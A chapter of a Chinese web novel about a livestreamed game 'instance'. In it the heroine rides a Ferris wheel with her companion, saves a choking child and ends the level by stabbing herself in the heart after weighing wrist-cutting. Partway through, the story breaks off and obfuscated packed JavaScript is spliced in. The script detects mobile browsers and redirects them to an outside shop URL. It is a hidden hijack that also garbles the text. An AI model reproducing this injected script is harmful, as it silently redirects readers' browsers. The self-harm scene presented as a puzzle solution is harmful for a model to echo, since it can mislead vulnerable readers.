【什么叫最近两天,意思您过两天会死?】
【死不死这件事你说了算?】
【死洁癖别卖关子,你到底有没有找到通关线索,说给兄弟姐妹们听听!】
司予冷漠脸:“谁跟你们是兄弟姐妹,别来沾边。”
【人言否?】
【死洁癖能不能对弹幕温柔点,我要闹了,我真的要闹了!】
司予在弹幕铺天盖地谴责声中打了个哈欠:“还有事没做,多留两天。”
【您的事情,就是来游乐场玩?】
【装什么嫩啊,作为人类,你已经是个三十岁、半只脚进土的大龄女了。】
游乐场门口站着可爱的兔子布偶,与小朋友们拍照合影。
欢声笑语不断。
不知不觉,竟走到了这里。
司予停脚:“三十岁的人身体机能良好,是承担重要社会职责的阶段。这么瞧不起三十岁,你们准备在二十九岁时嘎巴死掉?”
司予直播间人气高。
粉丝多,黑粉也多,来凑热闹的观众更多。
见她敢怼弹幕,纷纷起了火气。
【老女人自卑破防,开始诅咒弹幕了。】
【你骂谁呢,你才只能活到二十九,你这个副本就会原地暴毙!】
“自卑?”司予疑惑,“我凭自己努力,一步一个脚印走到三十岁,开心还来不及,怎么会自卑。”
粉丝见司予注意力被找茬的夺走,纷纷反击。
【谁家主人没牵绳,把你们这群狗放出来叫?】
【这是死洁癖直播间,脏东西滚远点。】
【别让老娘查到成分,骂得你们主子不敢还口。】
主播防御属性点满,粉丝集体开了狂暴,来找茬的观众很快被骂得无影无踪。
司予站在游乐场门口太久。
工作人员走来:“小朋友迷路了嘛?你的爸爸妈妈在哪里?”
司予:“没有爸爸妈妈。”
“你一个人来的?”工作人员惊讶,“娱乐项目必须有大人陪同才能玩哦。”
“我知道。”
司予说完,走进游乐场。
工作人员不太放心,远远跟在后面。
司予叹了口气,借着人群掩映:“白,出来。”
白站在司予身边,眼眸后扫,拍开飞向司予的皮球。
小孩家长连连向两人道歉。
司予笑笑:“没事。”
沉默走了片刻,清亮嗓音自头顶响起——
“想玩摩天轮吗?”
司予微愣。
她暂时不想回去,既然走到游乐园,索性在里面走走打发时间。
如果没有保安跟着,她不会叫白出来,也没准备玩任何项目。
摩天轮......
接近黄昏,摩天轮亮起彩灯,衬得仓内游客笑容更加灿烂。
像一个巨型棒棒糖,拥有让人幸福的魔力。
司予仰起头,神色怔怔。
白静静站在她身后。
直到欢快乐曲逐渐接近尾声。
司予微不可见,点了下头。
“好,我去买票,等我七分钟。”
望着白快速消失的背影,司予突然想起一个严峻问题——
她没钱。
白更不能有。
他准备拿什么买票?!
摩天轮一共有十二个摩天仓,人上满后,才会启动。
情侣抱着玫瑰花满脸甜蜜、小姐妹捧着奶茶有着聊不完的话题。
众人说说笑笑,路过司予。
时间一分一秒过去。
只剩两个空仓。
对面来了一家三口。
“妈妈,我会看到彩虹色云朵嘛?”
高大男人肩膀上的小姑娘软软问道。
男人神色纠结,似乎不忍告诉女儿,那只是个宣传海报。
“看不见也没关系啊。”
走在两人身边的女人刮了下小姑娘的鼻子:“爸爸妈妈会让甜甜成为世界上最幸运的人。”
甜甜咯咯笑:“甜甜喜欢爸爸妈妈,有爸爸妈妈在,甜甜就是世界上最幸运的小孩!”
倒数第二个仓门渐渐闭合。
司予垂下眼睑,转身就走。
一阵风自身后扬起。
肩头黑发飘起又落下。
司予不可思议转身,白微微喘息着,向她走过来,手指变魔术般夹着两张票。
游乐园的票是卡通图案。
一张红色小太阳,一张黄色小月亮。
白弯下腰,视线与司予平齐。
递出小太阳的票:“走吧,我们去坐摩天轮。”
嗓音如摩天轮启动前流泻的悠扬钢琴曲,拥有让人心情变好的魔力。
司予瞥了眼时间,刚好七分钟。
她接过票,迈入最后一个摩天仓。
工作人员为他们扣好安全带,关闭仓门,摩天轮缓缓启动。
“你去哪里搞得钱?”
白莞尔:“放心,我不会做违法的事。”
司予没再追问,扭头望向窗外。
人群,建筑,不断缩小。
他们离天空越来越近。
晚霞染红半边天,绵白云朵东蹭蹭,西擦擦,染了满身粉红、深红和金黄。
自由来去。
于是天空也变成了暖色调。
很漂亮,但无论云朵如何努力,也不会变成彩虹的颜色。
司予收回目光。
许是觉得两人静坐,气氛过于安静,司予就着黄昏,说起往事——
“我小时候,镇子里建了个游乐场,满大街贴着画满彩色云朵的宣传单。”
“所有去过游乐场的小朋友,都说他们看到了彩虹云朵。”
司予垂眸浅笑:“我当时信以为真,一直想去看看,可惜没有机会。后来长大,机会有了,却已经知道,那是假的。”
现实世界没有彩虹色云朵,也不会有永远幸运的人。
她不知为何,忽然想说说这些埋在记忆深处,以为忘记却历历在目的回忆。
或许因为白是一个很好的倾听者。
也或许,黄昏太温柔,温柔到能容纳下她曾经所有的渴望与可笑。
司予闭上眼,不再说话。靠在仓门,等待摩天轮下降。
白沉默着,没发表任何言论。
直到摩天仓升到最高点时,他轻声说:“司予,看天空。”
司予睁眼。
眼角余光内,成片气球齐齐飞向天空。
司予眼眸微微睁大,双手贴在玻璃上,向外望。
赤橙红绿青蓝紫粉黄白......
比七种颜色更多。
飞向高空,冲进云层。
在迤逦黄昏中,拼接成彩虹色碎云。
落日晚霞映红司予眼眸。
她扭头。
银白面具下,白嘴角微扬,嗓音温柔如落日黄昏。
“司予,你会一直幸运的。”
心脏蓦地跳空一拍,司予嘴唇微动,话未出口。
下一秒,白消失不见。
司予下意识伸手,又很快缩回。
十分钟到了。
司予重新转过头,望向天边。
摩天仓缓缓下降。
游客站在原地仰头,指向天空,不断惊叹。
“爸爸妈妈,真的有彩虹色云朵耶!”
气球随风四散,变成极小的点。
司予收回视线,走出仓门。
工作人员头向内探:“小朋友,你、你哥哥呢?!”
司予指着天空。
工作人员下意识抬头。
司予拔腿就跑。
跑到一半,被人拦住。
甜甜香味飘来。
“你就是司予小朋友吧。”
棉花糖摊贩捧着一大朵白色棉花糖递给司予:“这是你哥哥给你的。”
哥哥,白?
他什么时候买的。
司予微愣:“您怎么知道我是司予。”
“只有你是一个人走出摩天轮,你哥哥说,这是送给勇敢小朋友的礼物。”
司予接过棉花糖,左右望。
学着其他人的样子,撕了条放进嘴。
棉花糖在舌尖轻飘飘化开,像在咬一团云。
没有想象中齁人。
淡淡甜香,和那晚蜂蜜水一样。
“谢谢。”
嗓音很轻,散在风中。
但白听得到。
—
七月二十日。
阳台花盆四分五裂,泥土洒出来,地板布满黑乎乎凌乱脚印。
在尖叫怒骂声中,司予抬脚,踹飞举起小刀刺向她的男孩。
男孩摔向阳台,嘴啃了口泥,呸掉后气得哇哇大哭。
门铃响起。
男人丢掉斧头,去开门。
女人将剁骨刀丢进沙发底,一只手整理仪表,一只手捂住男孩的嘴。
怨毒眼神死死盯住司予,无声念道。
我、要、杀、了、你。
司予懒得理她,侧耳倾听——
“你们好,我是新搬来的邻居,想借下剪子。”门外人嗓音迟疑,“方便吗?”
“当然。”男人回头,“亲爱的把剪子拿来,我们隔壁一直空着,难得搬来新邻居,真是让人高兴。”
女人递出剪子:“欢迎你们来到这里。”
门外人连声道谢。
转身时,有人叫住他。
“你是刘原父亲吗?”
那人惊讶回眸:“是的,你认识我家原原?”
司予点头:“我想看看她,方便吗?”
女人扯住司予:“小予,人家刚搬来,有许多东西要准备,不去打扰人家,好不好?”
手指甲陷进皮肉。
司予脸色如常。
笑死,根本不痛。
“怎么会,我家原原性子害羞,在陌生环境能见到小伙伴,开心都来不及。”
他俯下身:“小予,欢迎来我家做客。”
司予跟着他走进家。
卧室有人嗓音慌乱:“宝贝,快吐,快吐出来!”
“原原她爸!快回来!原原卡住喉咙了!”
司予比刘原父亲更快冲进卧室。
刘原脑袋耷拉,手脚软弱无力。
地面有几个打开的果冻壳。
司予冲过去,从女人手中抢过刘原,环抱腹部。
拳眼抵在她肚脐上方两指宽的位置,快速用力冲击腹部。
刘原哇哇吐出两大块果冻。
青白脸色有所和缓。
刘原缓了片刻,哇哇大哭:“妈妈,我怕。”
司予放开手。
刘原扑进母亲怀里。
夫妻二人抱着刘原反复检查许多遍,终于松了口气。
面向司予,眼圈通红。
“谢谢你,真的谢谢你!”
司予视线落向不停抽噎的刘原:“有时间去看看海姆立克急救法吧。”
两人疯狂点头。
司予对他们没有好感,但这里的刘原似乎过得不错。
穿着浅白色小裙子,戴着银钻王冠,脸蛋胖乎乎,像个无忧无虑的小公主。
怯生生望着她,与当初叉腰骂人的模样判若两人。
如此,她也就放心了。
司予转身离去。
这个副本停留时间有些长,该结束了。
傍晚,门铃再次响起。
女人温柔呼唤:“小予,你的小伙伴来找你玩了。”
司予收起悬在手腕上的匕首。
刘原
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259939|194456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
父母带了一大堆零食和水果。
“真的很感谢你们家小予,要不是她,我们家原原就危险了。”
女人瞥了眼司予,扯扯嘴角:“我家小予,确实是个好孩子呢。”
刘原父亲点头:“说来惭愧,遇到危急情况,我们的反应竟不如孩子。我们以后一定会好好反思,认真学习海豹法。”
司予:“......”
那叫海姆立克,谢谢。
懒得听他们寒暄。
司予看问刘原:“来我卧室玩吧。”
刘原犹豫片刻,跟过去。
卧室。
刘原贴着墙边,眸中透着好奇和一丝丝紧张。
司予把床上兔子玩偶塞给她:“可爱吗?”
刘原摸了摸兔子耳朵,小声回:“可爱。”
“送你了。”
刘原微微瞪大眼:“不、不行,妈妈说不能随便收陌生人的礼物。”
“我叫司予,你叫刘原,我们知道彼此名字,不算陌生人。”
刘原表情呆萌。
司予忍不住笑。
她拍拍床:“你父母对你好吗?”
刘原抱着兔子,坐在司予身边:“嗯!爸爸妈妈是世界上对我最好的人。”
“那你现在开心么?”
刘原有些迷茫,似乎不理解这个新认识的小伙伴为何总问些奇怪问题,但还是点了点头。
“真好。”司予说。“那我就放心了。”
刘原没听清:“你说什么?”
司予摇头:“你以后想成为什么样的人?”
刘原想了想:“我长大后想当医生。”
司予挑眉:“因为医生赚钱多?”
刘原眼睛很亮:“我想像你一样救人。”
司予愣住。
“我有点记不得果冻卡住嗓子的感觉了,但妈妈说我差点离开她。”刘原说,“谢谢你让我重新回到妈妈身边,我以后想成为和你一样、能让别人重获幸福的人。”
司予眸色认真:“你一定可以。”
“原原,我们该回家啦,明天再来找小予玩吧。”
“来啦。”
刘原连忙抱着兔子玩偶跑出卧室。
“刘原。”
刘原回头。
“分班级时不要选姓范的老师,其余任何老师都可以。”
刘原似懂非懂点了点头。
她跟着爸爸妈妈走到门口,搂住兔子转过身:“司予,我们做好朋友吧,以后一起上下学!”
司予笑笑:“我们早就是好朋友了。”
刘原弯起眼:“我明天带我最喜欢的四驱车送给你。”
大门闭合。
阴恻恻嗓音自身后响起。
“小予,为什么要管别人家的闲事?”
女人歇斯底里:“有这个功夫,为什么不来多关心爸爸妈妈!坏孩子!不听话的坏孩子!”
司予避开飞来的苹果。
她甚至懒得向客厅三人投去半分目光,径直走向卧室:“白,别让他们打扰我。”
“是!”
客厅突然出现黑衣覆银色面具的男子。
男人撸起袖子:“好啊,难怪不肯去你叔叔家,原来勾搭——唔唔唔!”
客厅瞬间安静。
司予没有回头。
关上卧室门,坐在桌前,拿出匕首。
在手腕比划两下。
不行,割腕流血,速度太慢。
【死洁癖你想要做什么?!】
【挨打已经无法满足你,你竟然还想自残!】
【呜呜,姐姐你冷静一点,我给你送礼物,你不要想不开啊。】
司予叹气。
“还没发现么,这里的一切都是假的。”
更像一场梦,属于小予的噩梦。
逻辑混乱,没有常理。
交织着小予的渴望和恐惧。
她渴望像别的小朋友般,有温柔的爸爸妈妈,可爱的弟弟。
渴望受到老师关注,受同学欢迎。
但潜意识的恐惧总是在小予最幸福的时候忽然出现,于是美好画面破碎,身边人癫狂扭曲。
自我保护机制让小予感觉不到疼痛。
这也是副本唯一的提示。
梦境世界由小予构造,其余人都是假的,疯子只有小予。
她渴望爱,但不敢得到爱,反复折磨自己。
杀死疯子,结束噩梦么?
司予指尖摩挲闪着寒芒的刀刃,嘴角微勾。
反手一刀,插进心脏,干脆又利落。
弹幕疯狂播报,说的什么,司予听不清。
世界逐渐模糊。
彻底失去意识前,耳边响起一声叹息。
情绪复杂,她已无力分辨。
“讨债鬼,还不滚起来干活!”
司予自一间堆满杂物和垃圾的阴暗房间中睁眼。
两只老鼠受惊,藏进泡沫箱。
身上盖着漏棉花的被子,司予掌心轻轻抚过被面。
真是好久不见了。
木门被人暴力踢开。
女人衣服打满补丁,蓬头垢面,将从外面捡来的破烂砸向司予。
“死丫头,起来干活!”
垃圾在半空定格。
【恭喜玩家司予完成C级副本《杀死疯子》,奖励积分40000!】
【恭喜玩家司予达成《杀死疯子》首位通关成就,奖励积分10000!】
【哇,有125090个小可爱光临你的直播间,送出礼物9130个,同批次单人副本直播间热度第一,奖励积分1000,礼物折合金币91300!】
【综合评价,您在同批次单人副本中表现突出,达成mvp成就,奖励积分1000。请继续努力,向观众呈现更精彩的节目~】